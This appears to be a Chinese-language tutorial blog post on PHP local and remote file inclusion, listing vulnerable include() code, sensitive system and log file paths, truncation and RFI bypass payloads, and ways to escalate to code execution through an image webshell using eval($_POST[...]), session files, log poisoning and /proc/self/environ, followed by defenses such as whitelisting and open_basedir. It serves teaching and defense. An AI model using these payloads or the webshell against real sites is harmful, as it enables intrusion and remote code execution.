IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> PHP知识库 -> 文件包含的原理及利用 -> 正文阅读

[PHP知识库]文件包含的原理及利用

? 以下仅做个人记录,没图,不具参考性。

文件包含函数加载的参数没有经过过滤或者严格的定义,可以被用户控制,包含其他恶意文件,导致了执行了非预期的代码。当 PHP 包含一个文件时,会将该文件当做 PHP 代码执行,而不会在意文件是什么类型

漏洞产生的前提

  • 采用会出现问题的相关函数,且文件路径以参数形式传入
  • 参数可控
  • 已知绝对路径

前置知识

函数

可以造成文件包含的一些函数:

功能都是包括并运行指定文件,但也存在一些差异。

//每次都要进行读取和评估;引入文件的时候,如果碰到错误,会给出提示,并继续运行下边的代码
include()
//执行时需要引用的文件只处理一次;引入文件的时候,如果碰到错误,会给出提示,并停止运行下边的代码
require()
//与上面两个的唯一区别是,文件只会包含一次,若再次包含则仅会返回true
require_once()
include_once()

配置选项

  • allow_url_fopen:允许打开url文件,默认on。

  • allow_url_include:允许引用url文件,默认off。

  • magic_quotes_gpc:post、get、cookie过来的数据增加转义字符“\”,对POST、__GET以及进行数据库操作的sql进行转义处理,低版本默认on(php version <= 5.3.0);PHP6中删除了该选项,这意味着一切编程在off下进行。

常见的敏感路径

  • Windows

    C:\boot.ini //查看系统版本
    C:\windows\system32\inetsrv\MetaBase.xml //IIS 配置文件
    C:\windows\repair\sam //存储 windows 系统初次安装的密码
    C:\Program Files\mysql\my.ini //mysql 配置
    C:\Program Files\mysql\data\mysql\user.MYD //Mysql root
    C:\windows\php.ini //php 配置信息
    C:\windows\my.ini //mysql 配置文件
    
  • UNIX/Linux

    /etc/passwd
    /usr/local/app/apache2/conf/httpd.conf //apache2默认配置文件
    /usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
    /usr/local/app/php5/lib/php.ini //PHP相关配置
    /etc/httpd/conf/httpd.conf //apache
    /etc/php5/apache2/php.ini //ubuntu系统的默认路径
    
  • 日志默认路径

    ? (1)apache+Linux 日志默认路径

    /etc/httpd/logs/access_log
    /var/log/httpd/access_log
    

    ? (2)apache+win2003 日志默认路径

    D:\xampp\apache\logs\access.log
    D:\xampp\apache\logs\error.log
    

    ? (3)IIS6.0+win2003 默认日志文件

    C:\WINDOWS\system32\Logfiles
    

    ? (4)IIS7.0+win2003 默认日志文件

    %SystemDrive%\inetpub\logs\LogFiles
    

    ? (5)nginx 日志文件

    日志文件在用户安装目录 logs 目录下
    以我的安装路径为例/usr/local/nginx,
    那我的日志目录就是在/usr/local/nginx/logs里
    
  • web中间件默认配置

    ? (1) apache+linux 默认配置文件

    /etc/httpd/conf/httpd.conf
    index.php?page=/etc/init.d/httpd
    

    ? (2) IIS6.0+win2003 配置文件

    C:/Windows/system32/inetsrv/metabase.xml
    

    ? (3) IIS7.0+WIN 配置文件

    C:\Windows\System32\inetsrv\config\applicationHost.config 
    

本地文件包含

利用此漏洞可以查看系统内任意文件。在一些条件下也可以达成RCE。

无限制条件

<?php
$filename = $_GET['filename'];
include($filename);
?>

存在目录遍历漏洞,直接读取文件内容。

有限制条件

读取时加后缀

<?php include($_GET['filename'] . ".html"); ?>
%00截断

前提:

  • magic_quotes_gpc为off
  • php version < 5.3.4
?file=../../../../../../../../../etc/passwd%00
路径长度截断

Linux需路径长度大于4096;

Windows需路径长度大于256。

?file=../../../../../../../../../etc/passwd/././././././.[…]/./././././.
点号截断

仅适用于Windows,长度需大于256.

?file=../../../../../../../../../boot.ini/………[…]…………

远程文件包含

? 利用远程文件包含漏洞可以直接执行任意命令。在实际渗透攻击过程中,攻击者可以在自己的Web服务器上放一个可执行的恶意文件,通过目标网站存在的远程文件包含漏洞来加载文件,从而实现执行任意命令的目的。

相比本地文件包含,它多了一个限制条件:配置选项。

对此漏洞毫无防备的系统为如下配置:

allow_url_fopen = On(是否允许打开远程文件)

allow_url_include = On(是否允许include/require远程文件)

无限制条件

还是这段代码

<?php 
$filename = $_GET['filename']; 
include($filename); 
?>

有限制条件

还是加后缀

<?php
if ($route == "share") {
  require_once $basePath . "/action/m_share.php";
} elseif ($route == "sharelink") {
  require_once $basePath . "/action/m_sharelink.php";
}
问号绕过
?filename=http://127.0.0.1/php.txt?
---->
?filename=http://127.0.0.1/php.txt?/action/m_share.php
#号绕过
?filename=http://127.0.0.1/php.txt%23
---->
?filename=http://127.0.0.1/php.txt%23/action/m_share.php

%20同理。

漏洞利用技巧

Webshell可用条件

  • 物理路径
  • 可执行权限
  • 存在漏洞

与文件上传结合

例如同一系统中含有存在白名单过滤的文件上传点,可以通过文件包含绕过此过滤上传文件。

思路为先上传一个图片马

<?fputs( fopen(“shell.php” ,”w” ) ,<?php eval($_POST[123]); ?>)?>

然后通过文件包含漏洞点对此图片路径进行访问

?filename=../../../../uploads/img/a.jpg

其路径下会生成一个shell.php文件。

直接写个小马再通过文件包含点去连shell也是可以的,但不稳定。

Session文件

前提:已知session文件路径。(phpinfo或默认路径)

? 有权限访问

示例代码

<?php
session_start();
$ctfs=$_GET['ctfs'];
$_SESSION["username"]=$ctfs;
?>

默认路径为

/var/lib/php/session/sess_sessionid
/tmp/
/var/lib/php/session/等

session_id可以从控制台获取。

session文件内容为序列化存储。当传参设为小马,存储内容则为

username|s:18:"<?php phpinfo();?>";

此时再去文件包含。

日志文件

前提:

  • 已知日志文件路径。
  • 有权限访问。

以Apache为例,服务器会将普通请求写入access.log,错误请求写入error.log。

思路为去访问一个不存在的资源,如

/<?php phpinfo();?>

这时去查看日志发现地址被编码了。

用burp抓包,将其修改后再次发包。

可以看到php代码已被写入。

然后去通过文件包含点连shell。

临时文件

LFI临时文件RCE

/proc/self/environ文件

前提:有权限读取该文件。

这个文件存的是一些系统变量。

还是相似的

这里可控制参数是User-agent。

发起请求后参数被记录在该文件里,可进行文件包含。

利用伪协议

上面提到远程文件包含中,毫无防备的系统配置是全On的。

然后就先咕咕咕,有空再写。

防范

本部分主要从代码层和Web服务器安全配置两个方面来讲解PHP文件包含漏洞的防范。首先来从代码层来讲,在开发过程中应该尽量避免动态的变量,尤其是用户可以控制的变量。一种保险的做法是采用“白名单”的方式将允许包含的文件列出来,只允许包含白名单中的文件,这样就可以避免任意文件包含的风险。可参考下面的代码实现:

img

还有一种做法是将文件包含漏洞利用过程中的一些特殊字符定义在黑名单中,对传入的参数进行过滤,但这样有时会因为过滤不全,导致被有经验的攻击者绕过。

在Web服务器安全配置方面可以通过设定php.ini中open_basedir的值将允许包含的文件限定在某一特定目录内,这样可以有效的避免利用文件包含漏洞进行的攻击。需要注意的是,open_basedir的值是目录的前缀,因此假设设置如下值:open_basedir=/var/www/test,那么实际上以下目录都是在允许范围内的。

/var/www/test

/var/www/test123

/var/www/testabc

如果要限定一个指定的目录,需要在最后加上”/“,这一点需要特别注意。

open_basedir=/var/www/test/

如果有多个目录,在Windows下目录间用分号隔开,在Linux下面则用冒号隔开。

参考:

https://www.cnblogs.com/52php/p/6087317.html

  PHP知识库 最新文章
Laravel 下实现 Google 2fa 验证
UUCTF WP
DASCTF10月 web
XAMPP任意命令执行提升权限漏洞(CVE-2020-
[GYCTF2020]Easyphp
iwebsec靶场 代码执行关卡通关笔记
多个线程同步执行,多个线程依次执行,多个
php 没事记录下常用方法 (TP5.1)
php之jwt
2021-09-18
上一篇文章      下一篇文章      查看所有文章
加:2021-07-27 15:59:34  更:2021-07-27 15:59:36 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年5日历 -2024/5/2 22:57:19-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码